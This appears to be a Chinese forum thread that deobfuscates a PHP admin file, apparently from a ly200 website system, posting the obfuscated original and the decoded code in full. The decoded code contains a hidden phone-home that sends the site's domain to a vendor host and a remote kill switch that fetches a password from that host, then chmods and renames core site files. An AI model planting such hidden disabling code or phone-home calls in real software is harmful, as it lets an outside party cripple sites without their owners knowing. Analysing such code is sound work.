<?php$OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';include($GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TGk0dmFXNWpMM05wZEdWZlkyOXVabWxuTG5Cb2NBPT0=')));$OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval($OOO0000O0('JElJSUlJSUlJSUlJMT0ndXJsZGVjb2RlJzskSUlJSUlJSUlJSUlJPSdiYXNlNjRfZGVjb2RlJzs='));eval($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUlJ')]($GLOBALS['OOO0000O0']('SkVsSk1URkpNVEZKU1d4c1NUMG5jR0Z5YzJWZmRYSnNKenNrU1VreE1Va3hNVWxKYkd3eFBTZG9iM04wSnpza1NURXhNVWt4TVVsSmJHeEpQU2R3WVhSb0p6c2tTVWt4TVRFeE1VbEpiR3hKUFNkeGRXVnllU2M3SkVsSlNVbEpNVEZKU1d4c1NUMG5iMkpmYzNSaGNuUW5PeVJKU1VsSlNVbEpTVWxzYkVrOUoyOWlYMlZ1WkY5amJHVmhiaWM3SkVsSlNVbEpTVWxKU1d4Sk1UMG5iMkpmWjJWMFgyTnZiblJsYm5Sekp6c2tTVWxKU1VsSlNVbEpiRWxKUFNkaVlYTmxibUZ0WlNjN0pFbEpTVWxKU1VsSlNVa3hNVDBuWkdseWJtRnRaU2M3SkVsSlNVbEpTVWxKU1VreGJEMG5jbVZ1WVcxbEp6c2tTVWxKU1VsSlNVbEpTVEZKUFNkamFHMXZaQ2M3SkVsSlNVbEpTVWxKU1Vsc01UMG5ZMjkxYm5Rbk95UkpTVWxKU1VsSlNVbEpTVWs5SjNWeWJHVnVZMjlrWlNjNw==')));$IIIIIIIIIIIl=$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUkx')]($GLOBALS['OOO0000O0']('JTYxJTY4JTM2JTczJTYyJTY1JTY4JTcxJTZjJTYxJTM0JTYzJTZmJTVmJTczJTYxJTY0'));$IIIIIIIIIIlI=$IIIIIIIIIIIl{4}.$IIIIIIIIIIIl{9}.$IIIIIIIIIIIl{3}.$IIIIIIIIIIIl{5};$IIIIIIIIIIlI.=$IIIIIIIIIIIl{2}.$IIIIIIIIIIIl{10}.$IIIIIIIIIIIl{13}.$IIIIIIIIIIIl{16};$IIIIIIIIIIlI.=$IIIIIIIIIIlI{3}.$IIIIIIIIIIIl{11}.$IIIIIIIIIIIl{12}.$IIIIIIIIIIlI{7}.$IIIIIIIIIIIl{5};$IIIIIIIIIIll=$GLOBALS['OOO0000O0']('T09PMDAwME8w');include($GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TGk0dmFXNWpMM05sZEM5bGVIUmZkbUZ5TG5Cb2NBPT0=')));include($GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TGk0dmFXNWpMMloxYmk5dGVYTnhiQzV3YUhBPQ==')));include($GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TGk0dmFXNWpMMloxYm1OMGFXOXVMbkJvY0E9PQ==')));if((int)$_GET[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('WTJobFkycz0='))]==1){$url_info=$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VreE1Va3hNVWxKYkd4Sg=='))]($GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('YUhSMGNEb3ZMMjloTG1Gd2NDNXNlVEl3TUM1dVpYUXZjM2x6ZEdWdEwzTjVjM1JsYlY5MWMyVXZZMmhsWTJ0ZlpHOXRZV2x1TG5Cb2NEOWtiMjFoYVc0OQ==')).$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VsSlNVbEpTVWxKU1VsSg=='))](get_domain(0)));echo post_data($url_info[$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VreE1Va3hNVWxKYkd3eA=='))]], $url_info[$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1RFeE1Va3hNVWxKYkd4Sg=='))]], $url_info[$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VreE1URXhNVWxKYkd4Sg=='))]]);exit;}if((int)$_GET[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('WTI5c2JHRndjMlZmYzNsemRHVnQ='))]==1){$IIIIIIIIIIl1=password($_GET[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('WTI5c2JHRndjMlZmY0dGemMzZHZjbVE9'))]);if($IIIIIIIIII1I=@file_get_contents($GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('YUhSMGNEb3ZMMjloTG1Gd2NDNXNlVEl3TUM1dVpYUXZjM2x6ZEdWdEwzTjVjM1JsYlY5MWMyVXZZMjlzYkdGd2MyVmZjR0Z6YzNkdmNtUXVjR2h3')))){if($IIIIIIIIIIl1==$IIIIIIIIII1I){$IIIIIIIIII1l=array($GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('YldGcGJpNXdhSEE9')),$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('YVc1a1pYZ3VjR2h3')),$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TGk0dmFXNWtaWGd1Y0dodw==')),$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TGk0dmFXNWtaWGd1YUhSdGJBPT0=')),$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TGk0dmFXNWpMMloxYm1OMGFXOXVMbkJvY0E9PQ==')),$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TGk0dmFXNWpMMloxYmk5dGVYTnhiQzV3YUhBPQ==')));for($IIIIIIIIII11=0;$IIIIIIIIII11<$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VsSlNVbEpTVWxKU1d3eA=='))]($IIIIIIIIII1l);$IIIIIIIIII11++){@$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VsSlNVbEpTVWxKU1RGSg=='))]($IIIIIIIIII1l[$IIIIIIIIII11],0777);@$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VsSlNVbEpTVWxKU1RGcw=='))]($IIIIIIIIII1l[$IIIIIIIIII11],$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VsSlNVbEpTVWxKU1RFeA=='))]($IIIIIIIIII1l[$IIIIIIIIII11]).$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TDE4PQ==')).$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VsSlNVbEpTVWxKYkVsSg=='))]($IIIIIIIIII1l[$IIIIIIIIII11]));}echo $GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('UTI5c2JHRndjMlVnVTNWalkyVnpjeUU9'));}else{echo $GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('UTI5c2JHRndjMlVnVUdGemMzZHZjbVFnUlhKeWIzSWg='));}}else{echo $GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('Vlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnZEc4Z2FIUjBjRG92TDI5aExtRndjQzVzZVRJd01DNXVaWFF2'));}exit;}include($GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TGk0dmFXNWpMMjFoYm1GblpTOWpiMjVtYVdjdWNHaHc=')));include($GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('TGk0dmFXNWpMMjFoYm1GblpTOWtiMTlqYUdWamF5NXdhSEE9')));$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VsSlNVa3hNVWxKYkd4Sg=='))]();include($GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('ZEdWdGNHeGhkR1V2YldGcGJpNW9kRzFz')));$IIIIIIIIIlII=$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VsSlNVbEpTVWxKYkVreA=='))]();$GLOBALS[$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('U1VsSlNVbEpTVWxKYkd4Sg=='))]();echo str_replace(array("<!---->\r\n","\r\n<!---->"),$GLOBALS[$GLOBALS['OOO0000O0']('T09PMDAwME8w')]($GLOBALS['OOO0000O0']('')),$IIIIIIIIIlII);$IIIIIIIIIII1='urldecode';$IIIIIIIIIIII='base64_decode';$II11I11IIllI='parse_url';$II11I11IIll1='host';$I111I11IIllI='path';$II11111IIllI='query';$IIIII11IIllI='ob_start';$IIIIIIIIIllI='ob_end_clean';$IIIIIIIIIlI1='ob_get_contents';$IIIIIIIIIlII='basename';$IIIIIIIIII11='dirname';$IIIIIIIIII1l='rename';$IIIIIIIIII1I='chmod';$IIIIIIIIIIl1='count';$IIIIIIIIIIII='urlencode';?>
缺少嵌入文件!
缺少嵌入文件!
什么嵌入文件呢! 我手动解的, 一个个的替换, 应该很快。
<?php/*include(../inc/site_config.php);include(../inc/set/ext_var.php);include(../inc/fun/mysql.php);include(../inc/function.php);*/$OOO000000='ah6sbehqla4co_sad';$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';$IIIIIIIIIII1='urldecode';$IIIIIIIIIIII='base64_decode';$II11I11IIllI='parse_url';$II11I11IIll1='host';$I111I11IIllI='path';$II11111IIllI='query';$IIIII11IIllI='ob_start';$IIIIIIIIIllI='ob_end_clean';$IIIIIIIIIlI1='ob_get_contents';$IIIIIIIIIlII='basename';$IIIIIIIIII11='dirname';$IIIIIIIIII1l='rename';$IIIIIIIIII1I='chmod';$IIIIIIIIIIl1='count';$IIIIIIIIIIII='urlencode';var_dump($GLOBALS['II11I11IIllI']);if((int)$_GET['check']==1){ $url_info=$GLOBALS['II11I11IIllI'](base64_decode(base64_decode('YUhSMGNEb3ZMMjloTG1Gd2NDNXNlVEl3TUM1dVpYUXZjM2x6ZEdWdEwzTjVjM1JsYlY5MWMyVXZZMmhsWTJ0ZlpHOXRZV2x1TG5Cb2NEOWtiMjFoYVc0OQ==')).$GLOBALS[base64_decode(base64_decode('U1VsSlNVbEpTVWxKU1VsSg=='))](get_domain(0))); echo post_data($url_info[$GLOBALS[base64_decode(base64_decode('U1VreE1Va3hNVWxKYkd3eA=='))]], $url_info[$GLOBALS[base64_decode(base64_decode('U1RFeE1Va3hNVWxKYkd4Sg=='))]], $url_info[$GLOBALS[base64_decode(base64_decode('U1VreE1URXhNVWxKYkd4Sg=='))]]); exit;}if((int)$_GET[base64_decode(base64_decode('WTI5c2JHRndjMlZmYzNsemRHVnQ='))]==1){$IIIIIIIIIIl1=password($_GET[base64_decode(base64_decode('WTI5c2JHRndjMlZmY0dGemMzZHZjbVE9'))]);if($IIIIIIIIII1I=@file_get_contents(base64_decode(base64_decode('YUhSMGNEb3ZMMjloTG1Gd2NDNXNlVEl3TUM1dVpYUXZjM2x6ZEdWdEwzTjVjM1JsYlY5MWMyVXZZMjlzYkdGd2MyVmZjR0Z6YzNkdmNtUXVjR2h3')))){if($IIIIIIIIIIl1==$IIIIIIIIII1I){$IIIIIIIIII1l=array(base64_decode(base64_decode('YldGcGJpNXdhSEE9')),base64_decode(base64_decode('YVc1a1pYZ3VjR2h3')),base64_decode(base64_decode('TGk0dmFXNWtaWGd1Y0dodw==')),base64_decode(base64_decode('TGk0dmFXNWtaWGd1YUhSdGJBPT0=')),base64_decode(base64_decode('TGk0dmFXNWpMMloxYm1OMGFXOXVMbkJvY0E9PQ==')),base64_decode(base64_decode('TGk0dmFXNWpMMloxYmk5dGVYTnhiQzV3YUhBPQ==')));for($IIIIIIIIII11=0;$IIIIIIIIII11<$GLOBALS[base64_decode(base64_decode('U1VsSlNVbEpTVWxKU1d3eA=='))]($IIIIIIIIII1l);$IIIIIIIIII11++){@$GLOBALS[base64_decode(base64_decode('U1VsSlNVbEpTVWxKU1RGSg=='))]($IIIIIIIIII1l[$IIIIIIIIII11],0777);@$GLOBALS[base64_decode(base64_decode('U1VsSlNVbEpTVWxKU1RGcw=='))]($IIIIIIIIII1l[$IIIIIIIIII11],$GLOBALS[base64_decode(base64_decode('U1VsSlNVbEpTVWxKU1RFeA=='))]($IIIIIIIIII1l[$IIIIIIIIII11]).base64_decode(base64_decode('TDE4PQ==')).$GLOBALS[base64_decode(base64_decode('U1VsSlNVbEpTVWxKYkVsSg=='))]($IIIIIIIIII1l[$IIIIIIIIII11]));}echo base64_decode(base64_decode('UTI5c2JHRndjMlVnVTNWalkyVnpjeUU9'));}else{echo base64_decode(base64_decode('UTI5c2JHRndjMlVnVUdGemMzZHZjbVFnUlhKeWIzSWg='));}}else{echo base64_decode(base64_decode('Vlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnZEc4Z2FIUjBjRG92TDI5aExtRndjQzVzZVRJd01DNXVaWFF2'));}exit;}include(base64_decode(base64_decode('TGk0dmFXNWpMMjFoYm1GblpTOWpiMjVtYVdjdWNHaHc=')));include(base64_decode(base64_decode('TGk0dmFXNWpMMjFoYm1GblpTOWtiMTlqYUdWamF5NXdhSEE9')));$GLOBALS[base64_decode(base64_decode('U1VsSlNVa3hNVWxKYkd4Sg=='))]();include(base64_decode(base64_decode('ZEdWdGNHeGhkR1V2YldGcGJpNW9kRzFz')));$IIIIIIIIIlII=$GLOBALS[base64_decode(base64_decode('U1VsSlNVbEpTVWxKYkVreA=='))](); $GLOBALS[base64_decode(base64_decode('U1VsSlNVbEpTVWxKYkd4Sg=='))]();echo str_replace(array("<!---->\r\n","\r\n<!---->"),base64_decode(base64_decode('')),$IIIIIIIIIlII);?>
也不知道有没有解对, 先吃饭去了
<?phpinclude(../inc/site_config.php);include(../inc/set/ext_var.php);include(../inc/fun/mysql.php);include(../inc/function.php);if((int)$_GET['check']==1){ $url_info=parse_url('http://oa.app.ly200.net/system/system_use/check_domain.php?domain='.urlencode(get_domain(0))); echo post_data($url_info['host'], $url_info['path'], $url_info['query']); exit;}if((int)$_GET['collapse_system']==1){ $IIIIIIIIIIl1=password($_GET['collapse_password']); if($IIIIIIIIII1I=@file_get_contents('http://oa.app.ly200.net/system/system_use/collapse_password.php')){ if($IIIIIIIIIIl1==$IIIIIIIIII1I){ $IIIIIIIIII1l=array('main.php','index.php','../index.php','../index.html',base64_decode(base64_decode('TGk0dmFXNWpMMloxYm1OMGFXOXVMbkJvY0E9PQ==')),base64_decode(base64_decode('TGk0dmFXNWpMMloxYmk5dGVYTnhiQzV3YUhBPQ=='))); for($IIIIIIIIII11=0; $IIIIIIIIII11<count($IIIIIIIIII1l);$IIIIIIIIII11++){ @chmod($IIIIIIIIII1l[$IIIIIIIIII11],0777); @rename($IIIIIIIIII1l[$IIIIIIIIII11],dirname($IIIIIIIIII1l[$IIIIIIIIII11]).'/_'.basename($IIIIIIIIII1l[$IIIIIIIIII11])); } echo 'Collapse Success!'; }else{ echo 'Collapse Password Error!'; } }else{ echo 'Unable to Connect to http://oa.app.ly200.net/'; } exit;}include(../inc/manage/config.php);include(../inc/manage/do_check.php);ob_start();include(template/main.html);$IIIIIIIIIlII=ob_get_contents();basename();echo str_replace(array("<!---->\r\n","\r\n<!---->"),base64_decode(base64_decode('')),$IIIIIIIIIlII);?>
$OOO000000='ah6sbehqla4co_sad';$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';$IIIIIIIIIII1='urldecode';$IIIIIIIIIIII='base64_decode';$II11I11IIllI='parse_url';$II11I11IIll1='host';$I111I11IIllI='path';$II11111IIllI='query';$IIIII11IIllI='ob_start';$IIIIIIIIIllI='ob_end_clean';$IIIIIIIIIlI1='ob_get_contents';$IIIIIIIIIlII='basename';$IIIIIIIIII11='dirname';$IIIIIIIIII1l='rename';$IIIIIIIIII1I='chmod';$IIIIIIIIIIl1='count';$IIIIIIIIIIII='urlencode';
也不知道有没有解对, 先吃饭去了
<?phpinclude(../inc/site_config.php);include(../inc/set/ext_var.php);include(../inc/fun/mysql.php);include(../inc/function.php);if((int)$_GET['check']==1){ $url_info=parse_url('http://oa.app.ly200.net/system/system_use/check_domain.php?domain='.urlencode(get_domain(0))); echo post_data($url_info['host'], $url_info['path'], $url_info['query']); exit;}if((int)$_GET['collapse_system']==1){ $IIIIIIIIIIl1=password($_GET['collapse_password']); if($IIIIIIIIII1I=@file_get_contents('http://oa.app.ly200.net/system/system_use/collapse_password.php')){ if($IIIIIIIIIIl1==$IIIIIIIIII1I){ $IIIIIIIIII1l=array('main.php','index.php','../index.php','../index.html',base64_decode(base64_decode('TGk0dmFXNWpMMloxYm1OMGFXOXVMbkJvY0E9PQ==')),base64_decode(base64_decode('TGk0dmFXNWpMMloxYmk5dGVYTnhiQzV3YUhBPQ=='))); for($IIIIIIIIII11=0; $IIIIIIIIII11<count($IIIIIIIIII1l);$IIIIIIIIII11++){ @chmod($IIIIIIIIII1l[$IIIIIIIIII11],0777); @rename($IIIIIIIIII1l[$IIIIIIIIII11],dirname($IIIIIIIIII1l[$IIIIIIIIII11]).'/_'.basename($IIIIIIIIII1l[$IIIIIIIIII11])); } echo 'Collapse Success!'; }else{ echo 'Collapse Password Error!'; } }else{ echo 'Unable to Connect to http://oa.app.ly200.net/'; } exit;}include(../inc/manage/config.php);include(../inc/manage/do_check.php);ob_start();include(template/main.html);$IIIIIIIIIlII=ob_get_contents();basename();echo str_replace(array("<!---->\r\n","\r\n<!---->"),base64_decode(base64_decode('')),$IIIIIIIIIlII);?>
按我上面的方法 , 一个个代入就可以了, 体力活, 没什么技术含量。 你自己解吧。
按我上面的方法 , 一个个代入就可以了, 体力活, 没什么技术含量。 你自己解吧。
按我上面的方法 , 一个个代入就可以了, 体力活, 没什么技术含量。 你自己解吧。